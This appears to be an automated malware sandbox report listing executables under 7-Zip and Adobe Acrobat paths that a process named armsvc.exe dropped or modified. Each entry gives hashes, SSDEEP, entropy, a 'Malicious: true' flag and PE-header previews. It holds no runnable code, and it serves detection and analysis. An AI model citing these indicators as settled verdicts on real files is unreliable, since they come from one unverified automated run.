SHA1:	46A2E53AC4CC55D5F1E116CAA4D87B9DB6D15BF3
SHA-256:	392C14E0CE516E6A26939EF8CF20A4688A1514DAA4E9D252D492665192FB0AC5
SHA-512:	5D36E2E5C7B4BE6E5DB855309BF6A6C50F1BEB5DA75767EEC6BA47B644901ED9253B964B57F75DD660594DE4A9C6FA6B1FF6582FAFAE2B5D7CF7AF0C4537A9C4
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`".......... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\7-Zip\7z.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1839616
Entropy (8bit):	5.246010732446611
Encrypted:	false
SSDEEP:	24576:O+gkEdfh4CoK/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:DgkE5SMLNiXicJFFRGNzj3
MD5:	368CA82848F6F261B436ECCE5B82BFD5
SHA1:	8EACB4C23CDA00489285B3B452F953E79C53EA7B
SHA-256:	02C3474B6DAED79AF185CBC451F7FF6E944579036226EEDE7E647A3347144D5F
SHA-512:	CACD4E93FD6AB35FA71160545993114E2DA93D760C342D3EA01193FDF3389F7747023D8EFDEFEE460E0D46D2B5211EBC54A1D87BE5782A5C758B9B20ECAE060E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`.bY.xaX...X.xaX...X.xaXRich.xaX........................PE..d....\.d.........."...........................@..............................0'........... .....................................................x............@...q......................................................................0............................text...v........................... ..`.rdata..T...........................@..@.data....-..........................@....pdata...q...@...r..................@..@.rsrc................j..............@..@.reloc...`...........r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zFM.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1532416
Entropy (8bit):	7.089465496150162
Encrypted:	false
SSDEEP:	24576:vBpDRmi78gkPXlyo0Ghjr5/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5NRmi78gkPX4o0Ghj9LNiXicJFFRGNzb
MD5:	7301987D4866A57620C7C41334262EFF
SHA1:	BDE98A248648184BF5900E59ED0438DDA88F1E3A
SHA-256:	C3F59BC9F6A4A9337DC3981DB439242B36EA3E078B35996E00845086609A291B
SHA-512:	928BB299F1D3975A18E6F257852A908E106BCEF6D48EF50389DCBFCEB198FCBB5BC8ED91F6E88D4DB36B5C75F97A072A6039B4D6D185EE3938376085134D07F5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.._..2..N..2..J..2.Rich.2.........................PE..d....\.d.........."......b...8......Pi........@.....................................?[.... .................................................P................... .......................................................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..............@..@.data...............................@....pdata.. ...........................@..@.rsrc...............................@..@.reloc...............r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zG.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	7.220006533178592
Encrypted:	false
SSDEEP:	24576:gLOS2oPPIXVK/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Y/PVLNiXicJFFRGNzj3
MD5:	30354F505A3544DE92077D55CEE17592
SHA1:	EC045EF16CD54DB666AB17BD4325CA2DBDBCD7E5
SHA-256:	96DEBB7C1C7848B680CD0E26D854041E5A135FD698B6C31B9D6A4E7F5BD45797
SHA-512:	5BB9E6A6B1152BD4317C2721D203B5A33B1DA9F1FAAC3CA9EF8BC460BB26553EED73491AAAF60E52D85AE53DBB4F9B8BD553CCA47933ECCD80B80D4BA5A128F5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8...;.~y8...D.~y8...@.~y8.Rich.y8.........PE..d....\.d.........."......&..........."........@.....................................]L.... ..............................................................d...........................................................................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.data...83..........................@....pdata..............................@..@.rsrc....d.......f...:..............@..@.reloc..............................@...........................................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1300992
Entropy (8bit):	4.528924873984924
Encrypted:	false
SSDEEP:	24576:iYs/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ILNiXicJFFRGNzj3
MD5:	732FE6A2C96F468F5E997F69083BC390
SHA1:	003CF03856AADDAA4E36C72CA3CE32EE10049EA1
SHA-256:	A65DA35A64E049D3D1104ED4F68836BED9193226ABFCA112897231335952C8BE
SHA-512:	8DBDB471757648EE64C629E10529C9CEDBC8B14F793F21AF95FF5530A8BAF85F05A89BB64D404E0F734E1DE98C2766A96D7D7863DFB566F35531D387DA7D8B3A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../..........@......f!.......0....@..................................&......................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc....p...`.......*..............@...........................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1222656
Entropy (8bit):	6.698830301231591
Encrypted:	false
SSDEEP:	24576:ctdzT/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ctd3LNiXicJFFRGNzj3
MD5:	3550D1EE9304CF5CCEBC0CA775412CC7
SHA1:	C46B220E5D817A108F4D365A2BE74D19A940A0E2
SHA-256:	0C182EBEF2EF9930308B0487CB8118FFDA3E40E525F5C6C505A39136E7108CDA
SHA-512:	04889F6D56756C381C30D76F6C19F9F8EC1E11E6280ACB5AD0BB776F8C14B5D4950356373D3D04C533FED792AB9A6317C9A7D8B62CD556D96074ADB442C001C2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.F.4.F%4.FG@.G.4.FG@)F.4.F.4AF.4.FG@.G.4.FRich.4.F................PE..d......d.........."......6.....................@....................................>..... .....................................................\|....P..h........9.....................p.......................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P.......:..............@..@.data...............................@....pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1613312
Entropy (8bit):	4.676579677588059
Encrypted:	false
SSDEEP:	12288:tv7iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:5/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	05477127459FCFBF43B3487264CE8C85
SHA1:	2A8D3E4E2810DD2FE2DE869083B009E710631560
SHA-256:	F1FDE08818DB93FF2EBFDCCE4F910E3E92CF4706D5DFC3EC2819D040019EF5D1
SHA-512:	71CBFBAE95D98D0DE51A03CF514641F4B4BD5936393C467206D8384DE60D3AA071A89B86E60508D20096B7A3627178EAE498B8DE1693FBD2C682BF94CA9F27C7
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|..}...\|..}...\|..=\|...\|o..\|...\|B..}...\|...\|...\|..}...\|..Q\|...\|..9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@..............................#.....V..... .................................................@...,....@..........4......................T.......................(...@...8............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc........@......................@..@.reloc...`...P......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1616896
Entropy (8bit):	5.043545248005107
Encrypted:	false
SSDEEP:	24576:I5zhM1XSF+/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:WMs4LNiXicJFFRGNzj3
MD5:	F96197E378B8DEA63548E27A09CA290D
SHA1:	BF796A1DD2088ABC027A4296C565438584A93C74
SHA-256:	3B47F9CB7EA657020A29D5D82C86A89AC9FF48B0402F2BD4EC2FBCC4407C19AA
SHA-512:	910F8AB6B725FB824FA38A6EAE3EFF1DE91A501E44FC6D02A4C423D83BD3243FD30D44DC114E6CE526A99E5342FAAD37ABD9DEB78C66815BD9E46930DE600C00
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rw..Tv.Rw..Sv..Rw.Sw..Rw5.Wv.Rw.t/w.Rw.t?w..Rw7.Wv.Rw7.Vv.Rw7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@..............................#......X.... ................................................. A...................+......................T.......................(.......8............................................text............................... ..`.rdata..............................@..@.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc...`...0......................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.4967525273461275
Encrypted:	false
SSDEEP:	49152:ttuUC0nNc/RcYHCY9AWWnUOqdHIEogMAYrukdUmSC+bXMZQU1QqpN755BLNiXico:tjEIa3HIEWOc537wRGpj3
MD5:	AF7DEEF6D236E86DAC47FBB5D43F86C3
SHA1:	C21F97E781EAB62758E66D2E30A70CCBE2C58855
SHA-256:	4A579C1566E4BB29706D6E0C923B8AA8E0C305D94CD1F2D0D56D0F933B02021E
SHA-512:	989A44D5D1149B55ACF699B6020B5D85418A8ADB63AE1598937F99B456A77FCCE25466A800821975979FE8751A2AACAED6AD679AB5CE480532BF02E7EC547460
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.......?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.9993539358225565
Encrypted:	true
SSDEEP:	1572864:DQb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:UXhwMhe6AABPiQwF6xQ22R
MD5:	7D9272BA19C6187F7EA6BA616B033401
SHA1:	79C5220D3D7B28489AA22F59EA7CD22C2DD7302A
SHA-256:	C1EDC68F0C4756166E902AEE653A5057C528B9DB9033A22E5586B91681D406EA
SHA-512:	DC109945C72111C6231E94187849102AE9482F909B1C421A312F29F8A0F7B405223707333560FA3E46B6ECB0F4931B60C894E22B44C4CCC30C61AD55D3E0D2E8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0.......L.... .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335808
Entropy (8bit):	4.5926073767735405
Encrypted:	false
SSDEEP:	12288:bWuiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:b5/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	FB9A74EADCE0471F17AA7B219782D8DC
SHA1:	22B886AAE749CF5337BF599BF3BF9792146E66E6
SHA-256:	3E2396B0B125D8A7D7D3D11E1915B80AA78B0B1F377FCA0A81E0E2E6F6EC4904
SHA-512:	A5DC89BCD6E62537922A7EEA808551B29C208323B0EDC4F96BF865A6FEC6D39AE5E7568582C8F58CFC83B13F2CA7C8AA74E2E2ED6EB58603E4DAC406B986F6C1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b..c.2.b.gpg..b.gp...b.....b.gp`..b.Rich..b.................PE..d...R..d.........."......l...Z.......m.........@.............................P.......m.... .....................................................\|.......p.......@.......................T.......................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......<...p..............@..@.data...............................@....pdata..@...........................@..@.rsrc...p...........................@..@.reloc...`..........................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6210048
Entropy (8bit):	6.384606490793524
Encrypted:	false
SSDEEP:	49152:YDvZEaFVUn+Dpasot2xQevgjCGT7lmPIionqOgBhGl6zVLkVEk3yV07U24GEQTX5:hnN9KfxLk6GEQTXsUKzNDE7wRGpj3
MD5:	E37900F2DD8FBB641F34AD7B59BBD568
SHA1:	A4D4241605FD011631016A56D6E942B13BEF162F
SHA-256:	DCB951F619C5908B8FCF5766EEAAC810834C7D8CBA53D79B7D07FC5E3BDAA219
SHA-512:	5BEB55BD4B28262BACCBFA091E39BA1A93D42C2C2C073A48A8ACCB69DC25661CC74167A4F5C7E2D8211D568A86C88E2F2F7089A3A07CDA0874312E573A992C2D
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9...8...9k..8\..9k..8}..9k..8n..9...9...9...8Y..9...8~..9..r9~..9...9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@.............................._.....C._... ..........................................<F.\|....EF.x....0K..V...@H......................n;.T....................o;.(....:.8............p4..... .F.`....................text...,T4......V4................. ..`.rdata..@....p4......Z4.............@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@..._RDATA....... K......HJ.............@..@.rsrc....V...0K..X...JJ.............@..@.reloc...0....V.. ....U.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1312768
Entropy (8bit):	4.543832291208859
Encrypted:	false
SSDEEP:	12288:KciJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Km/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	085A0AAF739902D063C7AE31FD06723D
SHA1:	EFCCAE80BA84AF94923F3B7F5EA83BEBFA4ACA80
SHA-256:	04B5D09177D653D51E9E1E467B699AF5CF5E3CD9E718445D5F9F818BFA37C61A
SHA-512:	3B8D7FF54AFAF70C9BAEBF95AFD32F0F8E9B731287F114CF284FAFEFBB4EE22655E2334763256CAE58F203F5856C116AB11795EDF2651B90B5A843A03B73F668
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}...x...........\|.......y...x...y.......y...Richx...................PE..d......d.........."..........>.......0.........@.......................................... .................................................lV..........h...........................PI..T....................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...$...2..............@..@.data........p.......V..............@....pdata...............X..............@..@.rsrc...h............\..............@..@.reloc...`...........h..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12039168
Entropy (8bit):	6.595650840341115
Encrypted:	false
SSDEEP:	98304:Ob+MzPstUEHInwZ33RBk9DdhgJCudq1uVIyESYgKR7wRGpj3:4nPgTHIwZnRBk9DdhSUEVIXgK1F9
MD5:	F759F6B5B872CF0375664C1C735EC533
SHA1:	20EE7B32E5E79BB2951755DDF1EF2D1F1AED3E2E
SHA-256:	FF3298B05D9925C94DD4A246B66CAE5D3E397CCAFB4338E7DDBD7647D8350874
SHA-512:	86DE3B8C5EEFE568C35AABAC71E16C3DE9A0D2846213550B5E5F81CCB0C7CC649DCB02FA779414098EF1D37A38202A79BD45884D45664C0B394024E57D697699
Malicious:	true
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..E.t.Vb..E.d.jb.....ib......b..v...\|b..v...cb.....`..bb..}b..v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@.......................................... ............................................\...,..h........G......Lz..................P..T......................(......8...........................................text............................... ..`.rdata..f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat...............X..............@..._RDATA...............Z..............@..@.rsrc....G.......H...\..............@..@.reloc... .........................@...........................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1478144
Entropy (8bit):	4.8260519636928585
Encrypted:	false
SSDEEP:	24576:Fg5FvCPcsB/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ifH6LNiXicJFFRGNzj3
MD5:	C968A699636143F38556D5EA87228769
SHA1:	CB28578AE39FF8C1F7943812596173CD7705BD6A
SHA-256:	B581F6AE0EE8EF1DA1F9235BDFE1140737C384262D010123AB274B29549CDB42
SHA-512:	7AE2ACFBE8BA30345F87F85ED6DF52BE40473E87F9B0222E26015F8690E37BF60517CDBD63584497D50024B66AB5BCAF3EE1A43D698039774439CE49B8C28AEA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ z.A...A...A...9...A..O5...A..O5...A..O5...A..O5...A...*...A...A...@..M5...A..M5.A...A...A..M5...A..Rich.A..................PE..d......d.........."..........b.................@..............................!.....y&.... .................................................X...h....p..p....P..t.......................T.......................(.......8............................................text...,........................... ..`.rdata.............................@..@.data........@.......&..............@....pdata..t....P......................@..@.rsrc...p....p.......B..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339904
Entropy (8bit):	7.200175627712454
Encrypted:	false
SSDEEP:	24576:gjKTIsAjFuvt9fmFthMaT5U8aChaeu7/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:gjI/mPh7TT79iLNiXicJFFRGNzj3
MD5:	727E39F266A3BA5A485C006CFF6619DA
SHA1:	FDAEA4FF9D52F4AAB053E469CEB92635893A0A88
SHA-256:	789548D22CA9B4851693531F7859FB446E8C4DACF5D3F4BBE077711080134A4F
SHA-512:	6160FA6EDD62F79E0CF1726513FE96EB250C06705D08AE526733841FBD0168E428C8658013A2777FD0CECB40DE28B4BE3D3A98DA6E4A008C2A48628BE9374B43
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$......................................s...X............................[....U=....................h...n......n.Y.....1....n......Rich...........PE..d......c..........".................0i.........@..............................$........... .................................................H...d............@..Tx......................p...................`...(...`................................................text............................... ..`.rdata..@...........................@..@.data....>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1671168
Entropy (8bit):	5.004971773462536
Encrypted:	false
SSDEEP:	24576:0GqVwCto1Om5WgP/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:BZ1OmUULNiXicJFFRGNzj3
MD5:	934D3A044297EE0F41F82FF13767B8D6
SHA1:	CAFDD2AD6A43E240EEB5E126C941ABA038567A79
SHA-256:	533B6D66DC6AE173C76E824A7369B70FEFA34CBCCD775FCCCC0A41EBABFDEEA0
SHA-512:	3F5233F368CD2B196F5261175499D898BA6467D0DABBD8AE8B2A247F207B3ABD79EAAA4538EFE7C57D9B1F1A326991E01A69F26A7FA3880F20DFD575089D2D5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................v......................................a..X.....X........r....X.....Rich...........PE..d......c.........."............................@..............................$.....[..... .................................................. ...........v..............................p.......................(....................0...............................text............................... ..`.rdata..Z$...0...&..................@..@.data...x"...`.......@..............@....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc...`...0......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1409024
Entropy (8bit):	4.686416949757264
Encrypted:	false
SSDEEP:	24576:xWBW1/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5LNiXicJFFRGNzj3
MD5:	8D4072606BDF58C2431CDD04A36B5535
SHA1:	7E8F8AF3E5B5157D614858980EB03076F6D36587
SHA-256:	E3EFEE65424F112466BD07D290C02F2C9C6126D4ADEBA1A0B72E79F43556CBB8
SHA-512:	25A85D1EA0A1851E9B8281FD286D0516471C2C7B21955750974F91A0885818E8786585225DBD4A0D6B5E5A8195718FC0CBE898747D60F991B4940FBC32371AB4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%.;b$.Pc%.Pb%EPc%z$f$.Pc%z$.%.Pc%.P.%.Pc%z$a$.Pc%Rich.Pc%................PE..d...DC,d.........."............................@.............................p .....[..... .................................................h...@.......@............................Q..T....................S..(... R..8............0...............................text............................... ..`.rdata..$....0......................@..@.data...............................@....pdata..............................@..@.rsrc...@...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	7.221664439331996
Encrypted:	false
SSDEEP:	49152:1+GtCi27mVdyT+a0wLNiXicJFFRGNzj3:gmd27V7wRGpj3
MD5:	C415552EC2A6B5BFCEA33A64B495E02B
SHA1:	E536DC8FD5FABA576E46432349A77A3DAD960962
SHA-256:	A79A214DF84D47833AA9811E920F5C4231024CDF56C3926A9131208666CFEC06
SHA-512:	94BD3B5E4E8546826AC0A4F5256C799D88F197B086BD461FB1CB1D76B36CEA822F3BF5BCFAF09E0027EAFB3F0F9B65529B3A11C85E487AA48A2D4A6BBA478516
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...K...N...#...N.<~3...N..C3...N...O...N...O.O.N...F...N.......N......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@.......................................... .................................................x........... ....p..dt......................p.......................(... ...8............................................text...kh.......j.................. ..`.rdata...............n..............@..@.data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..............................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3110912
Entropy (8bit):	6.646865976457307
Encrypted:	false
SSDEEP:	49152:qU198PzqkltcT0gViqNfBZQiOIK5Ns6YZ82PTJeYXLNiXicJFFRGNzj3:/9NfHOIK5Ns6qR9F7wRGpj3
MD5:	8E240A7B27C75AD1D69838DB06958AF4
SHA1:	A149B03F00C79CE9522C26565FCC5C6DAA8ADF6B
SHA-256:	0EA6577A2F85CC8D19494680EAD72822B913C4EFEB14DEF1FF6450FD70E9521C
SHA-512:	93FB85B56E7A5610214AD12AA9549EA0763DCCF3E0860E8641B4D9E06D21BD305A9FC3CB9EF23E1D463CB0332F41E0AC5778B943F083A05A06A1BB24ECAED95E
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......'A3rc ]!c ]!c ]!..!h ]!..!. ]!..!x ]!1UY r ]!1U^ i ]!.O.!a ]!..!g ]!..!b ]!1UX . ]!..!@ ]!.UX . ]!c \!.!]!.UT . ]!.U.!b ]!c .!b ]!.U_ b ]!Richc ]!................PE..d.....Zd..........".................t..........@..............................0......./... ..................................................o .......&......$.`....................x..p....................y..(....)..8....................j .@....................text............................... ..`.rdata..8...........................@..@.data....q.... ..<...r .............@....pdata..`.....$.......#.............@..@_RDATA........&.......%.............@..@.rsrc........&.......%.............@..@.reloc...@....&..0...H&.............@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1743872
Entropy (8bit):	5.136839309159564
Encrypted:	false
SSDEEP:	24576:okIWTUQcydf/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:oxKUoLNiXicJFFRGNzj3
MD5:	D1401D18952F3A041A991A5BBD39B8C7
SHA1:	767348545997D3C61C542F803637759E79BB4FE3
SHA-256:	AA03FB3303F0DA6DFC70D3C007097F9C72919346F455024F7159C269067FC190
SHA-512:	409ED5C57C231A404983F0A400F6906664C81545274721FE010684155C0EDC07C64BE5EF4474DC6BD882017B4E42C4854D4DC7AEF5B5D5BCF665FF17A2117BED
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0I..Q'..Q'..Q'..7#..Q'..7$..Q'..7".!Q'..$#..Q'..$$..Q'..7&..Q'..$"..Q'.x$"..Q'..Q&.dQ'.x$...Q'.x$...Q'..Q...Q'.x$%..Q'.Rich.Q'.........................PE..d.....Zd.........."......,..........(?.........@..............................%......V.... .................................................(...P................m..................tC..p...........................p...8............@..........@....................text....+.......,.................. ..`.rdata......@.......0..............@..@.data....)..........................@....pdata...m.......n..................@..@_RDATA...............B..............@..@.rsrc................D..............@..@.reloc...p...@......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe

